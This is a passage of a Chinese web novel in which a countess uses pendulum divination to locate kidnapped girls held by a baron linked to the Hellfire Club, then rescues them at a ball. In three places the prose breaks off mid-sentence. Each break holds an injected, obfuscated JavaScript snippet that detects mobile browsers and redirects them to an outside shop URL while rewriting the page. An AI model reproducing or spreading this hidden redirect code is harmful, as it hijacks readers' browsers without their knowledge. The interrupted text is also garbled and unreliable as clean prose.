可是辛蒂已经是伯爵夫人了，这样的宣扬显然是毫无意义的，辛蒂自己不会花钱做这样的事。给出报酬的另有其人，这个人大概率是不怀好意的。 他握住辛蒂的手：“别担心，我会让人处理的。” 维尔图斯的温度让辛蒂稍稍安心，辛蒂一抬头，忽然看到了远处一个面色苍白的女人，正满脸笑容地凝视着她的方向。 定睛一看，那竟然是塞拉菲娜！ 塞拉菲娜看起来比之前瘦弱许多，身上的裙子有种不合身的感觉，像是被挂在骨头上。看起来她自己并不在意，头发梳的是最简单的样式，身上一点首饰也无。 塞拉菲娜以前无论如何，都尽力打扮不显得寒酸，还常常跟西尔维亚一起研究最近的流行，可现在完全不像是之前那个爱美的小姐了。 她感受到了辛蒂的注视，主动走上前来行了一礼：“日安，里德阁下，里德夫人。” 辛蒂干巴巴地笑了一下，她一时间不知道应该说什么话，她并不认为自己和塞拉菲娜有什么旧可以叙。 塞拉菲娜并不介意辛蒂的沉默，一双因为脸上没肉过分突出的眼睛像探照灯一样扫视了辛蒂一圈，从她头上的绿色丝绸礼帽到脖子上的青金石吊坠，再到最近十分流行的有着宽大裙摆的豪斯裙。 随后她的嘴角勾动，露出了一个没有丝毫感情的微笑：“看来您最近过得很好，我还有事，祝您生活愉快。” 塞拉菲娜的语气实际上更像是“祝您下地狱”，辛蒂皱着眉目送她远去，塞拉菲娜似乎对她存有恶意，可是这是为什么呢？她可从没做过对不起她的事。 玛沐河边发生的事都让辛蒂觉得不安，她等不及给珍妮送信，让维尔图斯先回里德府，她乘坐马车去了化妆品工坊。 21. 灵性 在知道了里德府的隐藏财富以后，辛蒂不再在维尔图斯面前隐藏自己的化妆品工坊。 一方面是比起维尔图斯拥有的财富，目前的化妆品工坊不算什么；另一方面是她觊觎里德府的地产。 里德府的地产只是租出去收租金太过于浪费，于是辛蒂征用了那些土地，或是修建了工厂，或是用于种植化妆品制作的原材料。 维尔图斯都觉得无所谓，甚至提出可以无需租金，不过辛蒂还是坚持明算账，这毕竟不是她一个人的生意。 现在的化妆品工坊已经不能被称之为工坊了，而是一片占地面积颇大的厂房。珍妮现在不需要亲自干活，只需要指挥全局。 她看上去也和之前的小女仆大不一样，为了方便行动，她舍弃了繁复的裙子，像男士一样穿着马裤和靴子。 不知情的人看着或许真的会以为这是一位事业有成的先生哩。 辛蒂有时候甚至会觉得珍妮才是从现代社会穿越而来的那个，而她已经是一个地地道道的贵族夫人了。 辛蒂的突然到来让珍妮有些吃惊，她知道辛蒂一定是有什么事。 辛蒂告诉珍妮自己今天遇到的事，请她帮忙找几位侦探，查一查背后的猫腻。 她除了要知道关于她美貌的流言是从哪里开始的以外，还需要侦探帮忙监视莫罗夫人、塞拉菲娜以及布莱克男爵最近的行踪。 珍妮答应下来，她现在的性格变了许多，很有些风风火火，只有在辛蒂面前才会流露出温情。 “你放心，我一定找人帮你查清楚。最近是不太太平，我手下有个管事的告诉我，她的妹妹最近失踪了。” “在都城吗？很久没有听说过这样的恶性事件了。” 辛蒂感到惊讶，因为前几年亚基亚德国王遭遇刺杀的缘故，都城的治安很好，就连抢劫的行为都不常见。 现在却有一个女孩无故失踪了，据说失踪第二天她的姐姐就向治安队寻求帮助，可是直到现在都没有任何消息。 辛蒂决定帮珍妮打听一下情况，她并没有治安队之类的人脉，有也是里德府的，她准备尝试使用占卜找出这个女孩的下落，虽然还没成功过。 她前不久刚读懂了关于占卜的描述，不过因为格温女士已经找到了她的女儿的下落，她暂时没有可以实验的对象，现在正好可以尝试一下。 占卜的常见种类有占星、手相、灵数、灵摆、水晶球等等。 按照辛蒂的理解，不管什么样的占卜方式，都是通过某种路径获得启示。其中最关键的点并不是路径，而是灵性。 灵性是一种很玄妙的东西，辛蒂是突然感知到了它的存在。 那是某一天她在阅读《神秘学起源》的时候，忽然想通了里面提到的所谓人的灵性就是身体中能感受到更大存在的部分，这一瞬间，辛蒂感知到了自己的灵性。 《神秘学起源》并未教授阅读者关于灵性的概念，似乎默认这是所有人都具备的常识。 辛蒂在感知到灵性的那一刻明白了这本书的用意，在对于神秘学的产生了一定的认知后，人的灵性就会自然而然地被发觉。 要是一个人始终都无法发觉自己的灵性，那就说明他和神秘学无缘。 灵性的存在无法用语言描述，在察觉到它的存在以后，它就像手指的存在一样自然，就好像一个具备特殊功能的器官，辛蒂的身体天生就知道应该如何使用它。 说回占卜，其实普通人也可以进行占卜，但是即使占卜成功，没有灵性的辅助也无法确认结果的准确与否，在各种因素的干扰下得到一个似是而非的结果。 而灵性会提醒占卜者占卜过程中的疏漏以及帮助占卜者正确解读得到的启示，这就是普通人和魔法师最大的区别之一。 其他的占卜方式都较为复杂，不是受限于工具就是不适用于眼下的情况，辛蒂最后选择了灵摆占卜。 灵摆占卜足够简单，只需要一小块天然水晶和细线就可以完成，甚至要是没有水晶，随便什么重物都可以。 在使用的时候占卜者提出答案为是或者否的问题，要是灵摆开始顺时针转圈，那么问题的答案就是是，反之同理。 因为灵摆占卜给出的答案太过于简略，这种占卜方式的泛用性并不强。 占卜没有施法时间的要求，辛蒂随便找了个独处时间，准备好系着细线的白水晶。 辛蒂伸直不惯用的左手手臂，让系着细线的白色水晶自然垂下，等待水晶慢慢稳定在空中以后，辛蒂立即在心中默念：“玛丽·多塔还活着吗，玛丽·多塔还活着吗……” 默念了足足7遍，为什么是七遍？7是辛蒂按照自己的出生年月算出来的自己的“灵数”，在辛蒂祈祷时，7是一个能够提高成功率的数字。 没有风或者其它干扰的房间里，灵摆慢慢顺时针转起圈来。 无需思考，灵性告诉辛蒂她得到了占卜的结果，辛蒂松了口气，玛丽·多塔还活着！ 与此同时，辛蒂的灵性给了她一些额外的提醒，她的脑海中闪过了一栋白色的房屋，看样子是贵族或者商人的住所，因为平民是住不起这样的楼房的，他们一般都居住在简陋的棚屋里。 根据房屋周围的街景，辛蒂认出这是霍尔德街，埃莉诺就居住在这附近。 要是灵性没有出错，那个管事失踪的妹妹玛丽·多塔应该就在这栋房子里。辛蒂迅速记下这栋房屋的特征，有机会可以询问埃莉诺是否知道这栋房屋属于谁。 灵性给的额外启示让辛蒂感到惊讶，这是书里完全没有提到过的。事实上，第一次占卜就能有这样的成功也完全出乎辛蒂的意料。 理论上，辛蒂已经做好了占卜个十次二十次才能得到准确结果的准备了。 占卜主要依靠辛蒂自身的灵性，不知道是不是因为灵性给了辛蒂格外的提示有关，辛蒂感觉疲惫异常，完成占卜后，她狠狠睡了一觉。 一觉醒来，守候在门口的女仆告诉辛蒂，杜卡斯小姐来访，此时正在她的专属会客室等她。 埃莉诺来得正好，辛蒂趁着自己的记忆还算鲜明，向埃莉诺回忆了那栋房屋的外观。 不过辛蒂隐隐觉得，灵性给的启示画面，只要她愿意，是不会忘记的。 埃莉诺回忆片刻后道：“我想想，白色的砖石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760624|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房屋很常见，庭院的草坪缺乏打理的倒是很少，听起来像是布莱克男爵在霍尔德街的住所。” “不过我不太确定，我并不熟悉霍尔德街所有的房屋。而且布莱克男爵几乎不住在霍尔德街，他在玛沐河边有另外的住所。” “你打听这个做什么？我记得你从未去过霍尔德街，怎么会知道那里的房屋特征呢？”埃莉诺产生了些许疑惑，她一向是个聪明的女孩。 辛蒂对于这个答案感到惊讶，竟然和布莱克男爵扯上了关系。如果真的和布莱克男爵有关的话，那个女孩的处境很可能不妙。 埃莉诺的疑问被辛蒂糊弄了过去，辛蒂问起了她的来意。 “哦对了，我是来替乔瓦娜邀请你，她最近在定做婚礼的礼服，她说你对于服装有着独到的见解，希望你能帮她参考一下。” 辛蒂眼睛一亮：“我很荣幸，裁缝什么时候上门呢，我刚好有好些想法可以尝试一下。” 和埃莉诺确定好时间，辛蒂又开始思考占卜的结果。她特地坐着马车去了一趟霍尔德街，确定了画面里的房屋属于布莱克男爵。 现实中看那栋房屋的草坪更加荒败，不像是会住人的样子，辛蒂不禁开始怀疑是不是自己的占卜出错了，玛丽·多塔真的在那里吗？ 如果她真的在那里，辛蒂能有什么办法找到她呢？她总不能告诉治安队自己通过占卜找到了玛丽·多塔的所在地，那样应该会被当作女巫烧死。 截至目前，玛丽·多塔已经失踪一周了，辛蒂无法判断这个女孩是否还活着，占卜显示出的也可能是她的尸骨所在地。 可是辛蒂目前没有办法，只能等待珍妮那边的消息，辛蒂的灵性告诉她，侦探们即将送给她一些有用的线索。 在辛蒂略显焦灼的等待中，取得阶段性成果的侦探们终于来到了里德府。因为他们带来的消息太过于让人震惊，珍妮没有上门转述，而是让侦探亲自告诉辛蒂细节。 因为避嫌的缘故，辛蒂请维尔图斯一起听侦探的汇报。 穿着黑色西正装的侦探先生神情严肃，语气平缓：“您的委托内容是监视莫罗夫人、布莱克男爵夫人以及布莱克男爵最近的行踪，其中莫罗夫人和布莱克男爵的行程没有异常之处。” “布莱克男爵夫人最近会定期去乡下，对外的说法是看望她年迈的叔叔，不过根据我们的情报，布莱克男爵夫人在乡下没有和她具备血缘关系的亲属。” “她所谓的叔叔实际上是一位为人们介绍工作以及提供城里的新消息的掮客。” “每次她从乡下返回的时候，马车上都会多一名有些姿色的女仆，其中就包括玛丽·多塔。这些女仆进入布莱克男爵府上后再也没有出现过。” 侦探先生的话信息量有些大，他虽然不好明说，但是几乎已经明示了布莱克男爵夫人在做一些不太合法的行为。 辛蒂思索片刻后询问道：“这位掮客先生，你们有询问过他吗？” 侦探颔首：“是的，按照这位掮客的说法，男爵夫人只说府里需要女仆，他也感到疑惑，不过男爵夫人出手大方，他便一直在为男爵夫人介绍合适的乡下女孩。” 22. 地狱之火 这些信息也说明不了什么，说不定新婚的男爵夫人需要一些合心意的仆人，至于无人外出，或许是男爵府对于仆人的管束严格。 辛蒂又问了一个看似不相干的问题：“布莱克男爵的日常轨迹是什么样的？” 侦探先生没有因为辛蒂的问题流露出特别的神色，只是略微停顿就给出了答案： “布莱克男爵大部分时间都在布莱克庄园中，偶尔会外出参加宴会、去剧院看最新的剧目或者是去他位于霍尔德街的房屋停留一晚。” “你知道那栋霍尔德街的房屋有什么特别的吗？” 侦探先生摇摇头：“那里的护卫十分严密，尤其是在布莱克男爵在的时候。” 关于委托侦探的行为，维尔图斯到现在才知情，辛蒂无意瞒着他，只是之前没有特意告诉维尔图斯。 侦探先生离开后，看到丈夫严肃的表情，辛蒂觉得有些不妙，她挤出一个讨好的微笑，为他解释了这一系列的发展： “亲爱的维尔图斯，我只是太过于不安，才找了侦探调查一下那些异常。” 之前一直保持沉默的维尔图斯并没有被辛蒂的话糊弄过去，他为辛蒂提供了一个很关键的信息。 “据我所知，布莱克男爵是地狱之火俱乐部的成员，辛蒂，你知道地狱之火俱乐部吗？” “地狱之火俱乐部？” 这是一个只有上层贵族才知道的，一个追求刺激的组织，会员的数量不算很多，多为实权官员和大商人。 “这个俱乐部平时没有什么存在感，但是他们做过一件十分出格的事，他们囚禁过一位公主。” “这件事大概发生在五年以前，这位安娜公主是当时还没去世的王后的侄女，因为内乱逃到了亚基亚德王国，她的国家在内乱中亡国，她于是再也回不去了。” “安娜公主的长相极其美丽，据说见过她的人没有不喜欢她的。可她为人极其高傲，等闲人近不了她的身，她甚至放话自己非国王或公爵不嫁。” 故事到这里还算正常，一个美丽的公主，即使失去了国家作为后盾，也完全有资本挑选合心的丈夫。 “忽然有一天，安娜公主忽然失踪了，她的女仆和侍卫都对此一无所知，治安队翻遍了整个王国都没能找到她的踪迹。” “只有极少数贵族知道，安娜公主其实是被地狱之火俱乐部藏起来了，至今没有人再见过她。” 维尔图斯之所以能知道得这么清楚，全因为他之前生活在亚基亚德公爵府，在公爵夫人身边听了不少类似的秘闻。 这个故事实在有些恐怖，辛蒂打了个寒噤，忍不住追问：“这么一个大活人消失了，国王陛下不管吗？怎么说也是他的侄女。” 维尔图斯的眼睛里闪烁着莫测的光：“这就涉及到另外一个传闻了，原本安娜公主很受王后的喜爱，甚至一度想让她嫁给亨利王子，可是安娜公主太过于贪婪，竟然妄图取代她的姨母成为新的王后。” “为此，安娜公主做了很多错事，其中就包括使王后失去了一个腹中的孩子。” “事发后，王后深受打击，本来就身体孱弱，后来一病不起，有人说王后就是被安娜公主气死的。国王陛下因此讨厌安娜公主，并不在乎她的死活。” 一位出身高贵的公主，失去了背后的靠山，原本引以为傲的美貌反而为她带来了灾难，这让辛蒂觉得意料之外，仔细一想又在情之中。 不管是地狱之火俱乐部的存在，还是安娜公主的传闻，都是辛蒂原本接触不到的隐秘，估计就连乔瓦娜都不知道。 所以辛蒂无法验证维尔图斯的话的真假，会不会是为了吓唬她编造的故事。 尽管有所怀疑，辛蒂的灵性告诉她，维尔图斯没有撒谎。 最后，维尔图斯正色道：“亲爱的，希望你别再追查那位玛丽·多塔的下落，我想她大概率落到了布莱克男爵的手里，甚至于和地狱之火俱乐部也脱不开干系。” “还有这些侦探们的监视，在被布莱克男爵察觉前也最好停止，之前流浪诗人的事还有布莱克男爵夫人的异常我已经有了头绪，我会解决的。” 维尔图斯的话让辛蒂产生了畏惧，她知道自己几斤几两，这件事的水太深了，她害怕自己再干涉下去也会落到安娜公主的下场。 事情的发展总是出人意料的，就在辛蒂几乎放弃了寻找玛丽·多塔时，她的希腊文老师格温夫人忽然一脸仓惶地找上辛蒂，她失而复得的女儿简·格温再次失踪了。 “我错了，我不应该让简独自在家。她是个懂事的孩子，一直都试图帮我分担生活的压力······” 在格温夫人流着泪断断续续的描述中，辛蒂弄清楚了事情的前因后果。 简·格温之前和她的母亲失散后成为了一名工厂女工，在托马斯的帮助下母女团聚。 格温夫人希望简能够去一所慈善学校接受教育，可是比起上学，简更愿意像格温夫人一样成为某个小姐的女仆，每周获得一些银币来改善母女俩的生活条件。 于是在一位夫人告诉简她需要一位女仆时，简毫不犹豫地答应了，甚至来不及告诉格温夫人细节。还是简的朋友目睹了这一幕，格温夫人才知道了这件事。 那天以后，格温夫人再也没有见到过简，格温夫人甚至都不知道简去了哪位贵族的府上，只好来求助辛蒂。 “您的意思是，简已经失踪一天了？”辛蒂从格温夫人的描述中获取了关键信息。 “是的，这件事是昨天发生的。我想就算她不回家，也应该送信给我，可是我什么消息都没收到，这绝对不正常。”格温夫人说到这里，眼泪流得更凶了。 辛蒂好不容易安抚好格温夫人的情绪，并承诺自己会替她打听的，格温夫人这才稍稍安心下来。 辛蒂觉得十分棘手，她决定再次使用灵摆占卜，这次的问题是，简·格温是否在布莱克男爵位于霍尔德街的房屋中，并不出乎意料的，辛蒂得到了肯定的答案。 或许是辛蒂较为熟悉简·格温，知道女孩的样貌，又或许是因为辛蒂对于神秘学的了解更深了，辛蒂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760625|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵性再次给了她更为具体的启示。 房屋的画面后，镜中又出现了一个黑色无光的房间，被捆绑起来昏睡在地上的少女有着橄榄色的皮肤以及红褐色的头发，五官立体具备别样的美丽，正是简·格温。 辛蒂还没想好应该如何解决简的事，又一桩麻烦找上了门。 女仆告诉辛蒂，罗莎·洛佩斯来访。 在埃莉诺告诉辛蒂的八卦中，罗莎·洛佩斯无疑是最为风头正劲的人物。 在失去乔瓦娜的女伴身份，而后又被众多贵族拒绝后，这位颇有手段的洛佩斯小姐不知怎么搭上了亨利王子，摇身一变成为了他的情妇。 知道这个消息之后，辛蒂还松了口气，亨利王子的注意力不在她的身上就好。 亨利王子不过半年，就厌倦了自己的新婚妻子，一下子所有人都在等着看这位异国公主的好戏。 不知道他们私下如何，明面上王子妃表现得十分大度，宣称自己正在孕育王子的继承人。王子难免寂寞，她完全可以理解。 如今这位亨利王子的情妇不在皇宫中争夺宠爱，来她这个门庭冷落的里德府干什么，辛蒂感到十分奇怪。 辛蒂并不想见她，不过考虑到罗莎现在在一定程度上也代表了亨利王子的脸面，还是不得不把人请了进来。 刚一看到人，辛蒂就觉得罗莎·洛佩斯的穿衣打扮和妆容都十分眼熟，直到旁边一向稳重的女管家看到罗莎后都忍不住露出了惊愕的表情，辛蒂才确认自己没有产生错觉，罗莎竟然是在模仿她！ 上一次辛蒂遇到这种事还是在初中的时候，她发现她的好朋友老是打听她的衣服在哪买的，过几天她的身上就会出现同款，就连发型都要跟辛蒂梳得一模一样。 当时辛蒂觉得不舒服，却又不知道怎么说。后来她的表姐告诉她，这个女孩的行为应该是出于羡慕或者嫉妒，不知道如何处理这些情绪，外在的表现就是变得和对方一样。 罗莎或许嫉妒辛蒂，但是她不会为此做出模仿辛蒂的幼稚行为。 而且在辛蒂看来，她的行为已经超过简单的模仿了，完全称得上是复刻，就连原本金灿灿的长发都变成了黑色。 这让辛蒂想起了她以前刷到过的化妆成某某明星的视频，不知道罗莎怎么做到的，她确实通过超越了这个时代的化妆技巧，把自己的脸化得跟辛蒂有五分像。 辛蒂已经开始佩服罗莎了，有这样的学习能力和实践能力，她做什么都会成功的。 那么罗莎这么做的原因是什么呢？结合之前罗莎的话还有现实的发展，原因并不难猜，她借此成为了王子的情妇。 想通了这一切的辛蒂只觉得王子真恶心，这算什么，替身文学吗？ 罗莎·洛佩斯自若地坐着，并不因为辛蒂和女管家的打量出现任何不适或者烦躁的情绪，她甚至有些享受，在为自己的成果得到肯定而自豪。 辛蒂控制住自己的表情，亲手为罗莎倒了一杯茶聊表敬意。 “洛佩斯小姐，请问来里德府有何贵干？” 23. 男爵的庄园 罗莎·洛佩斯失望于辛蒂竟然没有出现很大的情绪起伏，她慢悠悠地喝了一口茶，这时候辛蒂发现她连举止都和自己很像。 “里德夫人，想必以你的聪明才智，应该已经猜到了我这样的原因。王子喜欢你，我用你的长相得到了王子的喜爱，我还要谢谢你呢。” 辛蒂的表情管理破碎了，她没想到罗莎竟然这样直接，这可不符合贵族的说话风格。 “我听不懂您的意思，要是没有什么事的话，就请回吧。我还有别的事要做。”辛蒂端起茶杯掩饰自己的表情，同时流露出送客的意思。 罗莎自顾自继续道：“我以为我有了你的外表，亨利就会忘记你，投向我的怀抱。可惜，他在最动情的时候都叫的是你的名字。” “要是我可以选择的话也愿意安安稳稳做他的情妇，不过亨利还是想要你，他许诺我，要是我可以说服你成为他的情妇，他就帮我嫁给一位侯爵。” “我认为成为亨利王子的情妇对你来说并没有坏处，反而可以免去许多不必要的麻烦和烦恼。” “看在过去的友情的份上，我劝你答应下来。” 辛蒂几乎要吐了，罗莎把垃圾当作珍馐，她可做不到。 “不好意思，我的丈夫很好，我不会成为任何人的情妇。” 随后不管罗莎说什么，辛蒂都不再说话，只是冷着脸再次表达出送客的意思。 旁边的女管家意会，礼貌地请罗莎出去。 罗莎轻哼一声，她只是迫于亨利王子才来里德府的，本来也没觉得辛蒂会答应。 她暗想，这已经是很客气的邀请了，辛蒂这么不给面子，亨利王子的手段还在后头呢。 在罗莎看来，亨利王子想要辛蒂已经快要魔怔了。 在看出了舞会上亨利王子对辛蒂的兴趣后，罗莎想方设法把自己弄得跟辛蒂有五六分像，再借机制造了一场偶遇。 亨利王子一开始真的把罗莎误认为了辛蒂，那黑色的瀑布一般的长发，洁白丰满的脸颊，可惜罗莎的眼睛不是蓝色的，终究还是露了馅。 不过亨利王子并不介意吃一顿代餐，罗莎顺利成为了王子的情妇。 新鲜感没有多久，罗莎再也没办法满足亨利王子心中对于辛蒂的渴望，他几乎做梦都在喊辛蒂的名字。 他要求罗莎不能卸妆，在他面前必须是辛蒂的样子，还让仆人们都称呼罗莎为杜波伊斯小姐。 王子妃知道王子的想法，好在她是一个清醒的女人，认清了丈夫的真面目后，只是守着肚子里的孩子，并不管亨利王子想睡什么女人。 为了得到更多利益，罗莎几乎把她知道的关于辛蒂的事都告诉了亨利王子。 在知道辛蒂原本可以成为他名正言顺的妻子后，亨利王子几乎疯魔了，心中要得到辛蒂的想法变得前所未有的坚定。 于是就有了罗莎拜访里德府的事。 辛蒂没有刻意吩咐女管家隐瞒，维尔图斯很快就知道了罗莎·洛佩斯说的那些话。 他认真询问辛蒂：“要不然我们离开这里，换个地方生活？我怕亨利王子做出什么失去理智的事。” 维尔图斯的话让辛蒂不合时宜的想到了詹姆斯，她可以想象，要是换做是像詹姆斯一样的人或者其他小贵族，此时一定会埋怨辛蒂惹来了麻烦，考虑要不要直接把辛蒂送到亨利王子府上。 辛蒂心里一松，还好维尔图斯不是那样的人，辛蒂越发觉得自己能和维尔图斯缔结婚姻是一种幸运。 辛蒂摇摇头，拒绝了维尔图斯的提议。要是换做是之前，她肯定毫不犹豫就会同意。 但是现在还有两条人命悬在她的心上，珍妮·多塔就算了，她无法对简·格温的生死置之不理，她至少要想办法救她。 辛蒂没有告诉维尔图斯关于简·格温的事，他已经够操心了。她只说自己还要帮乔瓦娜参考婚礼的服装，短时间不好离开。 这不算假话，辛蒂之前已经去过一次公爵府，和裁缝一起，按照乔瓦娜的身形制定出了一版礼服。在辛蒂的建议下，礼服使用了大量的白纱和蕾丝，已经很接近现代的婚礼礼服了。 这样的设计让乔瓦娜和裁缝都觉得十分新奇，对于成品的效果期待不已。 眼下礼服还没做好，做好后辛蒂还需要去公爵府帮忙提出修改意见。 既然常规的侦察方式可能会被布莱克男爵发觉，从而引来地狱之火俱乐部的关注。辛蒂试图使用魔法手段，她想利用魔法制定出一个计划，从而救出简·格温乃至其他女孩。 辛蒂清点着自己目前会的魔法，并不算多。 因为《神秘学起源》这本书更偏向于教授给阅读者神秘学的基础理论，很少涉及到魔法上的实操，所以里面辛蒂能学习的魔法本来就不多，能派上用场的更是少之又少。 无奈之下，辛蒂只好再次求助于灵摆占卜。 “我有机会能救出简·格温吗？······我有机会能救出简·格温吗？······” 7次默念后，灵摆缓缓顺时针转动起来，比之前两次转动的幅度也小了许多，不过好歹给出的答案是肯定的。 没有辜负辛蒂的期望，她的灵性再次给了她额外的提示，这次只有两个字，舞会。 舞会？意思是解救简·格温的契机是布莱克男爵庄园的舞会吗，最近确实好像收到了相关的邀请函。 布莱克男爵虽然爵位不高，本身却拥有巨大的财富，还是地狱之火俱乐部的成员。 大多数人不知道地狱之火俱乐部，不过那些高级的会员都会参与布莱克庄园的舞会，所以舞会的规格并不低，大半贵族都会参加。 原本辛蒂是不打算去的，如今得到了启示，这恐怕是她救出简·格温唯一的机会。 在了解到舞会的具体情况和来宾中有许多地狱之火俱乐部的高级会员后，辛蒂猜测，在正式的舞会之后他们恐怕还有一场小型的“狂欢”。 所以简·格温以及其他被诱骗的少女会被提前转移到布莱克庄园，毫无疑问，她们会成为这场狂欢的祭品。 若无意外，辛蒂的机会就在舞会进行的时候。 得知辛蒂要参加布莱克男爵庄园的舞会，维尔图斯竟然说他也要一起参加。 最近发生的事情太多，维尔图斯总是觉得不安，他需要保证辛蒂一直都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760626|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的视线之中。 去布莱克庄园之前，为了确定自己的猜测，辛蒂再次使用灵摆占卜询问了简·格温目前是否在布莱克庄园。 得到肯定答案的同时，辛蒂的灵性告诉了她简·格温的具体位置，一个隐秘的地下室内，周围还有守卫严密监视。 里德伯爵夫妇的到来出乎布莱克男爵和塞拉菲娜的意料，这对夫妇几乎不参加任何宴会或者舞会，这让无数仰慕里德夫人的先生们扼腕叹息。 没想到他们今天竟然来了布莱克庄园，连传言中病得快死了的里德伯爵都来了。 布莱克男爵只是愣了一瞬，随即满是肥肉的脸上挤出笑容：“里德伯爵阁下，还有美丽的夫人，欢迎，欢迎光临。” 不需要任何吩咐，门口侍立的马夫引着马车到指定的位置停放，女仆们恭敬地为维尔图斯和辛蒂取下斗篷。 步入宴会大厅，辛蒂几乎被晃花了眼，金碧辉煌不足以形容这里的恢弘，近乎十米高的吊顶上绘满了天使和神明，数以万计的蜡烛照亮了祂们充满神性的面容。 如此宽阔的大厅在室外只有十度左右的情况下却温暖得叫人觉得燥热，要保持这样的温度，不知道一晚上要耗费多少炭火。 布莱克男爵的富有果然名不虚传，怪不得布莱克庄园的舞会并不受限于主人的爵位，受到了王国上下的贵族们欢迎。 布莱克男爵夫人今晚亦是盛装出席，华丽的服装和珠宝几乎把她装点成了一棵圣诞树。 可是透过厚厚的妆容和华美的服饰，辛蒂敏锐地发现她又比之前瘦了许多。 更让人在意的是，现今的潮流是露出手臂和丰满胸脯的衣裙，塞拉菲娜裸露出来的皮肤上充满了遭受凌虐后的红痕。 她毫无遮掩的意思，或者说遮掩也没有任何意义。遮住了别人都能猜出来，不如大大方方的给别人看。 那些惊讶的眼神让塞拉菲娜很有快感，特别是他们同情塞拉菲娜，去找男爵理论后，得到委婉版本“关你屁事”的回复后的灰头土脸，她总是看不厌。 布莱克男爵就更无所谓了，他原本就毫无名声可言，现在也不在乎塞拉菲娜展露伤痕的举动。 那些贵族们无聊的善心确实让他相当不耐烦，他认为自己对这一任妻子已经相当仁慈了，塞拉菲娜还活着就是很好的证明。 因为维尔图斯的全程陪同，辛蒂度过了一段相当安宁的舞会时光，伯爵夫妇一刻也没有分开，自然没人不长眼上前邀舞。 时间在辛蒂隐隐的坐立不安中来到了十一点二十三分点，这也是她计划中的行动时间，这个时间暗合了她的灵数7，希望能更顺利些。 辛蒂告诉维尔图斯她去更衣室，半路上又拒绝了女仆的陪同，表示自己想独处一会。 因为辛蒂想要找到简·格温的意愿足够强烈，辛蒂不需要使用灵摆占卜，凭借灵性隐隐约约的指引就知道大概的方位。 关着简·格温的地下室很隐秘，辛蒂在迷宫一样的布莱克庄园中，绕了好几个弯，在灵性的指示下躲过了几拨巡逻的护卫，终于摸到了地下室的入口。 如今，最后的阻碍就是门口的两个护卫了。 24. 绞刑 辛蒂拿出早就准备好的可以使人瞬间昏迷的药水，她事先提纯过，只需要一滴就能使一名成年男性昏迷。 趁其中一个护卫打哈欠的功夫，空气弹将药水弹入他的口中，这名守卫立马萎顿到地上。 另一名守卫询问的同时，空气弹携带者药水进入他的口腔。 出乎意料的顺利，两名守卫都解决了。 根据辛蒂的观察，他们不会换班，也就是说，辛蒂几乎有半个舞会的时间把简·格温带出布莱克庄园。 守卫的顺利解决并没有让辛蒂放松警惕，占卜显示她的营救行动不会太顺利。 既然之前没有波折，危险随时都有可能发生。 辛蒂在守卫的身上找到了钥匙，进入房间后，里面竟然有十多个女孩儿。 这完全超出了辛蒂的预期，她以为最多三五个，看来她还是低估了男爵的胆量。 听到门口的动静，女孩们警惕的目光投向来人，一位完全陌生的夫人。 其中一个女孩正是辛蒂要找的简·格温，她认出了辛蒂，可是嘴上绑了布条，只能发出呜呜的声音。 辛蒂拿出用安息香和圣蓟调配出的可以凝神的药膏在女孩们的额头上都轻轻抹了一下，待到她们的眼睛都明显冷静清明后才压低声音开口道： “女孩们，我有办法把你们救出去，不过你们都得按我的要求来，不要发出声音，明白么？” 得到女孩们乖巧点头的回复后，辛蒂依次为她们松开了绑住手脚的绳子以及去掉嘴里的布条。 在这个过程中，辛蒂发现这些女孩都被打扮成了要参加舞会的样子，并且她们的容貌都至少是清秀，放在外面几乎和其他的贵族小姐们没有区别。 这个发现让辛蒂放弃了之前的计划，她原本准备将她们以不被人看见的方式逐个带出去。 可是这个办法一来即使依靠灵性的指引，多次往返下被仆人或者侍卫发现的可能性也很大。 二来这样很可能会被她们发现自己拥有异于常人的能力，她不能寄希望于所有女孩都没有坏心。 辛蒂将想到的逃跑方式告诉给女孩们： “我会告诉你们回到地面的方式，此后你们两两结伴，告诉第一个遇到的仆人，你们迷路了，请仆人把你们带回舞会。” “半个小时后，花园会发生火灾，不出意外的会引起恐慌，这个时候你们需要趁乱离开，布莱克庄园门口会有两辆没有标识的马车等着你们。” 一个瘦小的女孩提出疑问：“我······我觉得我做不到，万一被看出来了怎么办？” “不会被看出来的，你们穿的衣服戴的首饰都是贵族小姐们才穿戴的起的，今天在布莱克庄园的贵族很多，仆人们不可能都认识，也不敢发出质疑。” 辛蒂解释完，确定这些女孩没有疑问后，继续道： “但是这个时候你们依然没有安全，你们还不能回家，因为即使你们安全到家，用不了多久就会被再次抓起来。” “马车会带你们去皇宫的门口，等待一架金色的马车，那是国王陛下的马车。” 